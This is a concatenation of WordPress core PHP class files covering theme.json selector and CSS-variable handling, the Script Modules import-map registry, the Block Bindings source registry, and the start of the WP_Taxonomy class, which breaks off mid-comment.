				$selectors[ $feature ] = array( 'root' => $feature_selector );
			}
		}

		return $selectors;
	}

	/**
	 * Generates all the element selectors for a block.
	 *
	 * @since 6.3.0
	 *
	 * @param string $root_selector The block's root CSS selector.
	 * @return array The block's element selectors.
	 */
	protected static function get_block_element_selectors( $root_selector ) {
		/*
		 * Assign defaults, then override those that the block sets by itself.
		 * If the block selector is compounded, will append the element to each
		 * individual block selector.
		 */
		$block_selectors   = explode( ',', $root_selector );
		$element_selectors = array();
		foreach ( static::ELEMENTS as $el_name => $el_selector ) {
			$element_selector = array();
			foreach ( $block_selectors as $selector ) {
				if ( $selector === $el_selector ) {
					$element_selector = array( $el_selector );
					break;
				}
				$element_selector[] = static::prepend_to_selector( $el_selector, $selector . ' ' );
			}
			$element_selectors[ $el_name ] = implode( ',', $element_selector );
		}

		return $element_selectors;
	}

	/**
	 * Generates style declarations for a node's features e.g., color, border,
	 * typography etc. that have custom selectors in their related block's
	 * metadata.
	 *
	 * @since 6.3.0
	 *
	 * @param object $metadata The related block metadata containing selectors.
	 * @param object $node     A merged theme.json node for block or variation.
	 *
	 * @return array The style declarations for the node's features with custom
	 * selectors.
	 */
	protected function get_feature_declarations_for_node( $metadata, &$node ) {
		$declarations = array();

		if ( ! isset( $metadata['selectors'] ) ) {
			return $declarations;
		}

		$settings = isset( $this->theme_json['settings'] )
			? $this->theme_json['settings']
			: array();

		foreach ( $metadata['selectors'] as $feature => $feature_selectors ) {
			/*
			 * Skip if this is the block's root selector or the block doesn't
			 * have any styles for the feature.
			 */
			if ( 'root' === $feature || empty( $node[ $feature ] ) ) {
				continue;
			}

			if ( is_array( $feature_selectors ) ) {
				foreach ( $feature_selectors as $subfeature => $subfeature_selector ) {
					if ( 'root' === $subfeature || empty( $node[ $feature ][ $subfeature ] ) ) {
						continue;
					}

					/*
					 * Create temporary node containing only the subfeature data
					 * to leverage existing `compute_style_properties` function.
					 */
					$subfeature_node = array(
						$feature => array(
							$subfeature => $node[ $feature ][ $subfeature ],
						),
					);

					// Generate style declarations.
					$new_declarations = static::compute_style_properties( $subfeature_node, $settings, null, $this->theme_json );

					// Merge subfeature declarations into feature declarations.
					if ( isset( $declarations[ $subfeature_selector ] ) ) {
						foreach ( $new_declarations as $new_declaration ) {
							$declarations[ $subfeature_selector ][] = $new_declaration;
						}
					} else {
						$declarations[ $subfeature_selector ] = $new_declarations;
					}

					/*
					 * Remove the subfeature from the block's node now its
					 * styles will be included under its own selector not the
					 * block's.
					 */
					unset( $node[ $feature ][ $subfeature ] );
				}
			}

			/*
			 * Now subfeatures have been processed and removed we can process
			 * feature root selector or simple string selector.
			 */
			if (
				is_string( $feature_selectors ) ||
				( isset( $feature_selectors['root'] ) && $feature_selectors['root'] )
			) {
				$feature_selector = is_string( $feature_selectors ) ? $feature_selectors : $feature_selectors['root'];

				/*
				 * Create temporary node containing only the feature data
				 * to leverage existing `compute_style_properties` function.
				 */
				$feature_node = array( $feature => $node[ $feature ] );

				// Generate the style declarations.
				$new_declarations = static::compute_style_properties( $feature_node, $settings, null, $this->theme_json );

				/*
				 * Merge new declarations with any that already exist for
				 * the feature selector. This may occur when multiple block
				 * support features use the same custom selector.
				 */
				if ( isset( $declarations[ $feature_selector ] ) ) {
					foreach ( $new_declarations as $new_declaration ) {
						$declarations[ $feature_selector ][] = $new_declaration;
					}
				} else {
					$declarations[ $feature_selector ] = $new_declarations;
				}

				/*
				 * Remove the feature from the block's node now its styles
				 * will be included under its own selector not the block's.
				 */
				unset( $node[ $feature ] );
			}
		}

		return $declarations;
	}

	/**
	 * Replaces CSS variables with their values in place.
	 *
	 * @since 6.3.0
	 * @since 6.5.0 Check for empty style before processing its value.
	 *
	 * @param array $styles CSS declarations to convert.
	 * @param array $values key => value pairs to use for replacement.
	 * @return array
	 */
	private static function convert_variables_to_value( $styles, $values ) {
		foreach ( $styles as $key => $style ) {
			if ( empty( $style ) ) {
				continue;
			}

			if ( is_array( $style ) ) {
				$styles[ $key ] = self::convert_variables_to_value( $style, $values );
				continue;
			}

			if ( 0 <= strpos( $style, 'var(' ) ) {
				// find all the variables in the string in the form of var(--variable-name, fallback), with fallback in the second capture group.

				$has_matches = preg_match_all( '/var\(([^),]+)?,?\s?(\S+)?\)/', $style, $var_parts );

				if ( $has_matches ) {
					$resolved_style = $styles[ $key ];
					foreach ( $var_parts[1] as $index => $var_part ) {
						$key_in_values   = 'var(' . $var_part . ')';
						$rule_to_replace = $var_parts[0][ $index ]; // the css rule to replace e.g. var(--wp--preset--color--vivid-green-cyan).
						$fallback        = $var_parts[2][ $index ]; // the fallback value.
						$resolved_style  = str_replace(
							array(
								$rule_to_replace,
								$fallback,
							),
							array(
								isset( $values[ $key_in_values ] ) ? $values[ $key_in_values ] : $rule_to_replace,
								isset( $values[ $fallback ] ) ? $values[ $fallback ] : $fallback,
							),
							$resolved_style
						);
					}
					$styles[ $key ] = $resolved_style;
				}
			}
		}

		return $styles;
	}

	/**
	 * Resolves the values of CSS variables in the given styles.
	 *
	 * @since 6.3.0
	 * @param WP_Theme_JSON $theme_json The theme json resolver.
	 *
	 * @return WP_Theme_JSON The $theme_json with resolved variables.
	 */
	public static function resolve_variables( $theme_json ) {
		$settings    = $theme_json->get_settings();
		$styles      = $theme_json->get_raw_data()['styles'];
		$preset_vars = static::compute_preset_vars( $settings, static::VALID_ORIGINS );
		$theme_vars  = static::compute_theme_vars( $settings );
		$vars        = array_reduce(
			array_merge( $preset_vars, $theme_vars ),
			function ( $carry, $item ) {
				$name                    = $item['name'];
				$carry[ "var({$name})" ] = $item['value'];
				return $carry;
			},
			array()
		);

		$theme_json->theme_json['styles'] = self::convert_variables_to_value( $styles, $vars );
		return $theme_json;
	}

	/**
	 * Generates a selector for a block style variation.
	 *
	 * @since 6.5.0
	 *
	 * @param string $variation_name Name of the block style variation.
	 * @param string $block_selector CSS selector for the block.
	 * @return string Block selector with block style variation selector added to it.
	 */
	protected static function get_block_style_variation_selector( $variation_name, $block_selector ) {
		$variation_class = ".is-style-$variation_name";

		if ( ! $block_selector ) {
			return $variation_class;
		}

		$limit          = 1;
		$selector_parts = explode( ',', $block_selector );
		$result         = array();

		foreach ( $selector_parts as $part ) {
			$result[] = preg_replace_callback(
				'/((?::\([^)]+\))?\s*)([^\s:]+)/',
				function ( $matches ) use ( $variation_class ) {
					return $matches[1] . $matches[2] . $variation_class;
				},
				$part,
				$limit
			);
		}

		return implode( ',', $result );
	}
}
<?php
/**
 * Script Modules API: WP_Script_Modules class.
 *
 * Native support for ES Modules and Import Maps.
 *
 * @package WordPress
 * @subpackage Script Modules
 */

/**
 * Core class used to register script modules.
 *
 * @since 6.5.0
 */
class WP_Script_Modules {
	/**
	 * Holds the registered script modules, keyed by script module identifier.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $registered = array();

	/**
	 * Holds the script module identifiers that were enqueued before registered.
	 *
	 * @since 6.5.0
	 * @var array<string, true>
	 */
	private $enqueued_before_registered = array();

	/**
	 * Registers the script module if no script module with that script module
	 * identifier has already been registered.
	 *
	 * @since 6.5.0
	 *
	 * @param string            $id       The identifier of the script module. Should be unique. It will be used in the
	 *                                    final import map.
	 * @param string            $src      Optional. Full URL of the script module, or path of the script module relative
	 *                                    to the WordPress root directory. If it is provided and the script module has
	 *                                    not been registered yet, it will be registered.
	 * @param array             $deps     {
	 *                                        Optional. List of dependencies.
	 *
	 *                                        @type string|array ...$0 {
	 *                                            An array of script module identifiers of the dependencies of this script
	 *                                            module. The dependencies can be strings or arrays. If they are arrays,
	 *                                            they need an `id` key with the script module identifier, and can contain
	 *                                            an `import` key with either `static` or `dynamic`. By default,
	 *                                            dependencies that don't contain an `import` key are considered static.
	 *
	 *                                            @type string $id     The script module identifier.
	 *                                            @type string $import Optional. Import type. May be either `static` or
	 *                                                                 `dynamic`. Defaults to `static`.
	 *                                        }
	 *                                    }
	 * @param string|false|null $version  Optional. String specifying the script module version number. Defaults to false.
	 *                                    It is added to the URL as a query string for cache busting purposes. If $version
	 *                                    is set to false, the version number is the currently installed WordPress version.
	 *                                    If $version is set to null, no version is added.
	 */
	public function register( string $id, string $src, array $deps = array(), $version = false ) {
		if ( ! isset( $this->registered[ $id ] ) ) {
			$dependencies = array();
			foreach ( $deps as $dependency ) {
				if ( is_array( $dependency ) ) {
					if ( ! isset( $dependency['id'] ) ) {
						_doing_it_wrong( __METHOD__, __( 'Missing required id key in entry among dependencies array.' ), '6.5.0' );
						continue;
					}
					$dependencies[] = array(
						'id'     => $dependency['id'],
						'import' => isset( $dependency['import'] ) && 'dynamic' === $dependency['import'] ? 'dynamic' : 'static',
					);
				} elseif ( is_string( $dependency ) ) {
					$dependencies[] = array(
						'id'     => $dependency,
						'import' => 'static',
					);
				} else {
					_doing_it_wrong( __METHOD__, __( 'Entries in dependencies array must be either strings or arrays with an id key.' ), '6.5.0' );
				}
			}

			$this->registered[ $id ] = array(
				'src'          => $src,
				'version'      => $version,
				'enqueue'      => isset( $this->enqueued_before_registered[ $id ] ),
				'dependencies' => $dependencies,
			);
		}
	}

	/**
	 * Marks the script module to be enqueued in the page.
	 *
	 * If a src is provided and the script module has not been registered yet, it
	 * will be registered.
	 *
	 * @since 6.5.0
	 *
	 * @param string            $id       The identifier of the script module. Should be unique. It will be used in the
	 *                                    final import map.
	 * @param string            $src      Optional. Full URL of the script module, or path of the script module relative
	 *                                    to the WordPress root directory. If it is provided and the script module has
	 *                                    not been registered yet, it will be registered.
	 * @param array             $deps     {
	 *                                        Optional. List of dependencies.
	 *
	 *                                        @type string|array ...$0 {
	 *                                            An array of script module identifiers of the dependencies of this script
	 *                                            module. The dependencies can be strings or arrays. If they are arrays,
	 *                                            they need an `id` key with the script module identifier, and can contain
	 *                                            an `import` key with either `static` or `dynamic`. By default,
	 *                                            dependencies that don't contain an `import` key are considered static.
	 *
	 *                                            @type string $id     The script module identifier.
	 *                                            @type string $import Optional. Import type. May be either `static` or
	 *                                                                 `dynamic`. Defaults to `static`.
	 *                                        }
	 *                                    }
	 * @param string|false|null $version  Optional. String specifying the script module version number. Defaults to false.
	 *                                    It is added to the URL as a query string for cache busting purposes. If $version
	 *                                    is set to false, the version number is the currently installed WordPress version.
	 *                                    If $version is set to null, no version is added.
	 */
	public function enqueue( string $id, string $src = '', array $deps = array(), $version = false ) {
		if ( isset( $this->registered[ $id ] ) ) {
			$this->registered[ $id ]['enqueue'] = true;
		} elseif ( $src ) {
			$this->register( $id, $src, $deps, $version );
			$this->registered[ $id ]['enqueue'] = true;
		} else {
			$this->enqueued_before_registered[ $id ] = true;
		}
	}

	/**
	 * Unmarks the script module so it will no longer be enqueued in the page.
	 *
	 * @since 6.5.0
	 *
	 * @param string $id The identifier of the script module.
	 */
	public function dequeue( string $id ) {
		if ( isset( $this->registered[ $id ] ) ) {
			$this->registered[ $id ]['enqueue'] = false;
		}
		unset( $this->enqueued_before_registered[ $id ] );
	}

	/**
	 * Removes a registered script module.
	 *
	 * @since 6.5.0
	 *
	 * @param string $id The identifier of the script module.
	 */
	public function deregister( string $id ) {
		unset( $this->registered[ $id ] );
		unset( $this->enqueued_before_registered[ $id ] );
	}

	/**
	 * Adds the hooks to print the import map, enqueued script modules and script
	 * module preloads.
	 *
	 * In classic themes, the script modules used by the blocks are not yet known
	 * when the `wp_head` actions is fired, so it needs to print everything in the
	 * footer.
	 *
	 * @since 6.5.0
	 */
	public function add_hooks() {
		$position = wp_is_block_theme() ? 'wp_head' : 'wp_footer';
		add_action( $position, array( $this, 'print_import_map' ) );
		add_action( $position, array( $this, 'print_enqueued_script_modules' ) );
		add_action( $position, array( $this, 'print_script_module_preloads' ) );
	}

	/**
	 * Prints the enqueued script modules using script tags with type="module"
	 * attributes.
	 *
	 * @since 6.5.0
	 */
	public function print_enqueued_script_modules() {
		foreach ( $this->get_marked_for_enqueue() as $id => $script_module ) {
			wp_print_script_tag(
				array(
					'type' => 'module',
					'src'  => $this->get_src( $id ),
					'id'   => $id . '-js-module',
				)
			);
		}
	}

	/**
	 * Prints the the static dependencies of the enqueued script modules using
	 * link tags with rel="modulepreload" attributes.
	 *
	 * If a script module is marked for enqueue, it will not be preloaded.
	 *
	 * @since 6.5.0
	 */
	public function print_script_module_preloads() {
		foreach ( $this->get_dependencies( array_keys( $this->get_marked_for_enqueue() ), array( 'static' ) ) as $id => $script_module ) {
			// Don't preload if it's marked for enqueue.
			if ( true !== $script_module['enqueue'] ) {
				echo sprintf(
					'<link rel="modulepreload" href="%s" id="%s">',
					esc_url( $this->get_src( $id ) ),
					esc_attr( $id . '-js-modulepreload' )
				);
			}
		}
	}

	/**
	 * Prints the import map using a script tag with a type="importmap" attribute.
	 *
	 * @since 6.5.0
	 *
	 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing the polyfill.
	 */
	public function print_import_map() {
		$import_map = $this->get_import_map();
		if ( ! empty( $import_map['imports'] ) ) {
			global $wp_scripts;
			if ( isset( $wp_scripts ) ) {
				wp_print_inline_script_tag(
					wp_get_script_polyfill(
						$wp_scripts,
						array(
							'HTMLScriptElement.supports && HTMLScriptElement.supports("importmap")' => 'wp-polyfill-importmap',
						)
					),
					array(
						'id' => 'wp-load-polyfill-importmap',
					)
				);
			}
			wp_print_inline_script_tag(
				wp_json_encode( $import_map, JSON_HEX_TAG | JSON_HEX_AMP ),
				array(
					'type' => 'importmap',
					'id'   => 'wp-importmap',
				)
			);
		}
	}

	/**
	 * Returns the import map array.
	 *
	 * @since 6.5.0
	 *
	 * @return array Array with an `imports` key mapping to an array of script module identifiers and their respective
	 *               URLs, including the version query.
	 */
	private function get_import_map(): array {
		$imports = array();
		foreach ( $this->get_dependencies( array_keys( $this->get_marked_for_enqueue() ) ) as $id => $script_module ) {
			$imports[ $id ] = $this->get_src( $id );
		}
		return array( 'imports' => $imports );
	}

	/**
	 * Retrieves the list of script modules marked for enqueue.
	 *
	 * @since 6.5.0
	 *
	 * @return array Script modules marked for enqueue, keyed by script module identifier.
	 */
	private function get_marked_for_enqueue(): array {
		$enqueued = array();
		foreach ( $this->registered as $id => $script_module ) {
			if ( true === $script_module['enqueue'] ) {
				$enqueued[ $id ] = $script_module;
			}
		}
		return $enqueued;
	}

	/**
	 * Retrieves all the dependencies for the given script module identifiers,
	 * filtered by import types.
	 *
	 * It will consolidate an array containing a set of unique dependencies based
	 * on the requested import types: 'static', 'dynamic', or both. This method is
	 * recursive and also retrieves dependencies of the dependencies.
	 *
	 * @since 6.5.0
	 *

	 * @param string[] $ids          The identifiers of the script modules for which to gather dependencies.
	 * @param array    $import_types Optional. Import types of dependencies to retrieve: 'static', 'dynamic', or both.
	 *                               Default is both.
	 * @return array List of dependencies, keyed by script module identifier.
	 */
	private function get_dependencies( array $ids, array $import_types = array( 'static', 'dynamic' ) ) {
		return array_reduce(
			$ids,
			function ( $dependency_script_modules, $id ) use ( $import_types ) {
				$dependencies = array();
				foreach ( $this->registered[ $id ]['dependencies'] as $dependency ) {
					if (
					in_array( $dependency['import'], $import_types, true ) &&
					isset( $this->registered[ $dependency['id'] ] ) &&
					! isset( $dependency_script_modules[ $dependency['id'] ] )
					) {
						$dependencies[ $dependency['id'] ] = $this->registered[ $dependency['id'] ];
					}
				}
				return array_merge( $dependency_script_modules, $dependencies, $this->get_dependencies( array_keys( $dependencies ), $import_types ) );
			},
			array()
		);
	}

	/**
	 * Gets the versioned URL for a script module src.
	 *
	 * If $version is set to false, the version number is the currently installed
	 * WordPress version. If $version is set to null, no version is added.
	 * Otherwise, the string passed in $version is used.
	 *
	 * @since 6.5.0
	 *
	 * @param string $id The script module identifier.
	 * @return string The script module src with a version if relevant.
	 */
	private function get_src( string $id ): string {
		if ( ! isset( $this->registered[ $id ] ) ) {
			return '';
		}

		$script_module = $this->registered[ $id ];
		$src           = $script_module['src'];

		if ( false === $script_module['version'] ) {
			$src = add_query_arg( 'ver', get_bloginfo( 'version' ), $src );
		} elseif ( null !== $script_module['version'] ) {
			$src = add_query_arg( 'ver', $script_module['version'], $src );
		}

		/**
		 * Filters the script module source.
		 *
		 * @since 6.5.0
		 *
		 * @param string $src Module source url.
		 * @param string $id  Module identifier.
		 */
		$src = apply_filters( 'script_module_loader_src', $src, $id );

		return $src;
	}
}
<?php
/**
 * Block Bindings API: WP_Block_Bindings_Registry class.
 *
 * Supports overriding content in blocks by connecting them to different sources.
 *
 * @package WordPress
 * @subpackage Block Bindings
 * @since 6.5.0
 */

/**
 * Core class used for interacting with block bindings sources.
 *
 *  @since 6.5.0
 */
final class WP_Block_Bindings_Registry {

	/**
	 * Holds the registered block bindings sources, keyed by source identifier.
	 *
	 * @since 6.5.0
	 * @var WP_Block_Bindings_Source[]
	 */
	private $sources = array();

	/**
	 * Container for the main instance of the class.
	 *
	 * @since 6.5.0
	 * @var WP_Block_Bindings_Registry|null
	 */
	private static $instance = null;

	/**
	 * Supported source properties that can be passed to the registered source.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $allowed_source_properties = array(
		'label',
		'get_value_callback',
		'uses_context',
	);

	/**
	 * Supported blocks that can use the block bindings API.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	private $supported_blocks = array(
		'core/paragraph',
		'core/heading',
		'core/image',
		'core/button',
	);

	/**
	 * Registers a new block bindings source.
	 *
	 * This is a low-level method. For most use cases, it is recommended to use
	 * the `register_block_bindings_source()` function instead.
	 *
	 * @see register_block_bindings_source()
	 *
	 * Sources are used to override block's original attributes with a value
	 * coming from the source. Once a source is registered, it can be used by a
	 * block by setting its `metadata.bindings` attribute to a value that refers
	 * to the source.
	 *
	 * @since 6.5.0
	 *
	 * @param string   $source_name       The name of the source. It must be a string containing a namespace prefix, i.e.
	 *                                    `my-plugin/my-custom-source`. It must only contain lowercase alphanumeric
	 *                                    characters, the forward slash `/` and dashes.
	 * @param array    $source_properties {
	 *     The array of arguments that are used to register a source.
	 *
	 *     @type string   $label                   The label of the source.
	 *     @type callback $get_value_callback      A callback executed when the source is processed during block rendering.
	 *                                             The callback should have the following signature:
	 *
	 *                                             `function ($source_args, $block_instance,$attribute_name): mixed`
	 *                                                 - @param array    $source_args    Array containing source arguments
	 *                                                                                   used to look up the override value,
	 *                                                                                   i.e. {"key": "foo"}.
	 *                                                 - @param WP_Block $block_instance The block instance.
	 *                                                 - @param string   $attribute_name The name of the target attribute.
	 *                                             The callback has a mixed return type; it may return a string to override
	 *                                             the block's original value, null, false to remove an attribute, etc.
	 *     @type array    $uses_context (optional) Array of values to add to block `uses_context` needed by the source.
	 * }
	 * @return WP_Block_Bindings_Source|false Source when the registration was successful, or `false` on failure.
	 */
	public function register( string $source_name, array $source_properties ) {
		if ( ! is_string( $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block bindings source name must be a string.' ),
				'6.5.0'
			);
			return false;
		}

		if ( preg_match( '/[A-Z]+/', $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block bindings source names must not contain uppercase characters.' ),
				'6.5.0'
			);
			return false;
		}

		$name_matcher = '/^[a-z0-9-]+\/[a-z0-9-]+$/';
		if ( ! preg_match( $name_matcher, $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Block bindings source names must contain a namespace prefix. Example: my-plugin/my-custom-source' ),
				'6.5.0'
			);
			return false;
		}

		if ( $this->is_registered( $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Block bindings source name. */
				sprintf( __( 'Block bindings source "%s" already registered.' ), $source_name ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the source properties contain the label.
		if ( ! isset( $source_properties['label'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The $source_properties must contain a "label".' ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the source properties contain the get_value_callback.
		if ( ! isset( $source_properties['get_value_callback'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The $source_properties must contain a "get_value_callback".' ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the get_value_callback is a valid callback.
		if ( ! is_callable( $source_properties['get_value_callback'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The "get_value_callback" parameter must be a valid callback.' ),
				'6.5.0'
			);
			return false;
		}

		// Validates that the uses_context parameter is an array.
		if ( isset( $source_properties['uses_context'] ) && ! is_array( $source_properties['uses_context'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The "uses_context" parameter must be an array.' ),
				'6.5.0'
			);
			return false;
		}

		if ( ! empty( array_diff( array_keys( $source_properties ), $this->allowed_source_properties ) ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The $source_properties array contains invalid properties.' ),
				'6.5.0'
			);
			return false;
		}

		$source = new WP_Block_Bindings_Source(
			$source_name,
			$source_properties
		);

		$this->sources[ $source_name ] = $source;

		// Adds `uses_context` defined by block bindings sources.
		add_filter(
			'get_block_type_uses_context',
			function ( $uses_context, $block_type ) use ( $source ) {
				if ( ! in_array( $block_type->name, $this->supported_blocks, true ) || empty( $source->uses_context ) ) {
					return $uses_context;
				}
				// Use array_values to reset the array keys.
				return array_values( array_unique( array_merge( $uses_context, $source->uses_context ) ) );
			},
			10,
			2
		);

		return $source;
	}

	/**
	 * Unregisters a block bindings source.
	 *
	 * @since 6.5.0
	 *
	 * @param string $source_name Block bindings source name including namespace.
	 * @return WP_Block_Bindings_Source|false The unregistered block bindings source on success and `false` otherwise.
	 */
	public function unregister( string $source_name ) {
		if ( ! $this->is_registered( $source_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Block bindings source name. */
				sprintf( __( 'Block binding "%s" not found.' ), $source_name ),
				'6.5.0'
			);
			return false;
		}

		$unregistered_source = $this->sources[ $source_name ];
		unset( $this->sources[ $source_name ] );

		return $unregistered_source;
	}

	/**
	 * Retrieves the list of all registered block bindings sources.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_Block_Bindings_Source[] The array of registered sources.
	 */
	public function get_all_registered() {
		return $this->sources;
	}

	/**
	 * Retrieves a registered block bindings source.
	 *
	 * @since 6.5.0
	 *
	 * @param string $source_name The name of the source.
	 * @return WP_Block_Bindings_Source|null The registered block bindings source, or `null` if it is not registered.
	 */
	public function get_registered( string $source_name ) {
		if ( ! $this->is_registered( $source_name ) ) {
			return null;
		}

		return $this->sources[ $source_name ];
	}

	/**
	 * Checks if a block bindings source is registered.
	 *
	 * @since 6.5.0
	 *
	 * @param string $source_name The name of the source.
	 * @return bool `true` if the block bindings source is registered, `false` otherwise.
	 */
	public function is_registered( $source_name ) {
		return isset( $this->sources[ $source_name ] );
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.5.0
	 */
	public function __wakeup() {
		if ( ! $this->sources ) {
			return;
		}
		if ( ! is_array( $this->sources ) ) {
			throw new UnexpectedValueException();
		}
		foreach ( $this->sources as $value ) {
			if ( ! $value instanceof WP_Block_Bindings_Source ) {
				throw new UnexpectedValueException();
			}
		}
	}

	/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_Block_Bindings_Registry The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
<?php
/**
 * Taxonomy API: WP_Taxonomy class
 *
 * @package WordPress
 * @subpackage Taxonomy
 * @since 4.7.0
 */

/**
 * Core class used for interacting with taxonomies.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
final class WP_Taxonomy {
	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $name;

	/**
	 * Name of the taxonomy shown in the menu. Usually plural.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $label;

	/**
	 * Labels object for this taxonomy.
	 *
	 * If not set, tag labels are inherited for non-hierarchical types
	 * and category labels for hierarchical ones.
	 *
	 * @see get_taxonomy_labels()
	 *
	 * @since 4.7.0
	 * @var stdClass
	 */
	public $labels;

	/**
	 * Default labels.
	 *
	 * @since 6.0.0
	 * @var (string|null)[][] $default_labels
	 */
	protected static $default_labels = array();

	/**
	 * A short descriptive summary of what the taxonomy is for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $public = true;

	/**
	 * Whether the taxonomy is publicly queryable.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $publicly_queryable = true;

	/**
	 * Whether the taxonomy is hierarchical.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $hierarchical = false;

	/**
	 * Whether to generate and allow a UI for managing terms in this taxonomy in the admin.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_ui = true;

	/**
	 * Whether to show the taxonomy in the admin menu.
	 *
	 * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_in_menu = true;

	/**
	 * Whether the taxonomy is available for selection in navigation menus.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_in_nav_menus = true;

	/**
	 * Whether to list the taxonomy in the tag cloud widget controls.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_tagcloud = true;

	/**
	 * Whether to show the taxonomy in the quick/bulk edit panel.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_in_quick_edit = true;

	/**
	 * Whether to display a column for the taxonomy on its post type listing screens.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $show_admin_column = false;

	/**
	 * The callback function for the meta box display.
	 *
	 * @since 4.7.0
	 * @var bool|callable
	 */
	public $meta_box_cb = null;

	/**
	 * The callback function for sanitizing taxonomy data saved from a meta box.
	 *
	 * @since 5.1.0
	 * @var callable
	 */
	public $meta_box_sanitize_cb = null;

	/**
	 * An array of object types this taxonomy is registered for.
	 *
	 * @since 4.7.0
	 * @var string[]
	 */
	public $object_type = null;

	/**
	 * Capabilities for this taxonomy.
	 *
	 * @since 4.7.0
	 * @var stdClass
	 */
	public $cap;

	/**
	 * Rewrites information for this taxonomy.
	 *
	 * @since 4.7.0
	 * @var array|false
	 */
	public $rewrite;

	/**
	 * Query var string for this taxonomy.
	 *
	 * @since 4.7.0
	 * @var string|false
	 */
	public $query_var;

	/**
	 * Function that will be called when the count is updated.
	 *
	 * @since 4.7.0
	 * @var callable
	 */
	public $update_count_callback;

	/**
	 * Whether this taxonomy should appear in the REST API.
	 *
	 * Default false. If true, standard endpoints will be registered with
	 * respect to $rest_base and $rest_controller_class.
	 *
	 * @since 4.7.4
	 * @var bool $show_in_rest
	 */
	public $show_in_rest;

	/**
	 * The base path for this taxonomy's REST API endpoints.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_base
	 */
	public $rest_base;

	/**
	 * The namespace for this taxonomy's REST API endpoints.
	 *
	 * @since 5.9.0
	 * @var string|bool $rest_namespace
	 */
	public $rest_namespace;

	/**
	 * The controller for this taxonomy's REST API endpoints.
	 *
	 * Custom controllers must extend WP_REST_Controller.
	 *
	 * @since 4.7.4
	 * @var string|bool $rest_controller_class
	 */
	public $rest_controller_class;

	/**
	 * The controller instance for this taxonomy's REST API endpoints.
	 *
	 * Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}.
	 *
	 * @since 5.5.0
	 * @var WP_REST_Controller $rest_controller
	 */
	public $rest_controller;

	/**
	 * The default term name for this taxonomy. If you pass an array you have
	 * to set 'name' and optionally 'slug' and 'description'.
	 *
	 * @since 5.5.0
	 * @var array|string
	 */
	public $default_term;

	/**
	 * Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`.
	 *
	 * Use this in combination with `'orderby' => 'term_order'` when fetching terms.
	 *
	 * @since 2.5.0
	 * @var bool|null
	 */
	public $sort = null;

	/**
	 * Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy.
	 *
	 * @since 2.6.0
	 * @var array|null
	 */
	public $args = null;

	/**
	 * Whether it is a built-in taxonomy.
	 *
	 * @since 4.7.0
	 * @var bool
	 */
	public $_builtin;

	/**
	 * Constructor.
	 *
	 * See the register_taxonomy() function for accepted arguments for `$args`.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $taxonomy    Taxonomy key, must not exceed 32 characters.
	 * @param array|string $object_type Name of the object type for the taxonomy object.
	 * @param array|string $args        Optional. Array or query string of arguments for registering a taxonomy.
	 *                                  See register_taxonomy() for information on accepted arguments.
	 *                                  Default empty array.
	 */
	public function __construct( $taxonomy, $object_type, $args = array() ) {
		$this->name = $taxonomy;

		$this->set_props( $object_type, $args );
	}

	/**
	 * Sets taxonomy properties.
	 *
	 * See the register_taxonomy() function for accepted arguments for `$args`.
	 *
	 * @since 4.7.0
	 *
	 * @param string|string[] $object_type Name or array of names of the object types for the taxonomy.
	 * @param array|string    $args        Array or query string of arguments for registering a taxonomy.
	 */
	public function set_props( $object_type, $args ) {
		$args = wp_parse_args( $args );

		/**
		 * Filters the arguments for registering a taxonomy.
		 *
		 * @since 4.4.0
		 *
		 * @param array    $args        Array of arguments for registering a taxonomy.
		 *                              See the register_taxonomy() function for accepted arguments.
		 * @param string   $taxonomy    Taxonomy key.
		 * @param string[] $object_type Array of names of object types for the taxonomy.
		 */
		$args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type );

		$taxonomy = $this->name;

		/**
		 * Filters the arguments for registering a specific taxonomy.
		 *
		 * The dynamic portion of the filter name, `$taxonomy`, refers to the taxonomy key.
		 *
		 * Possible hook names include:
		 *
		 *  - `register_category_taxonomy_args`
		 *  - `register_post_tag_taxonomy_args`
		 *
		 * @since 6.0.0
		 *
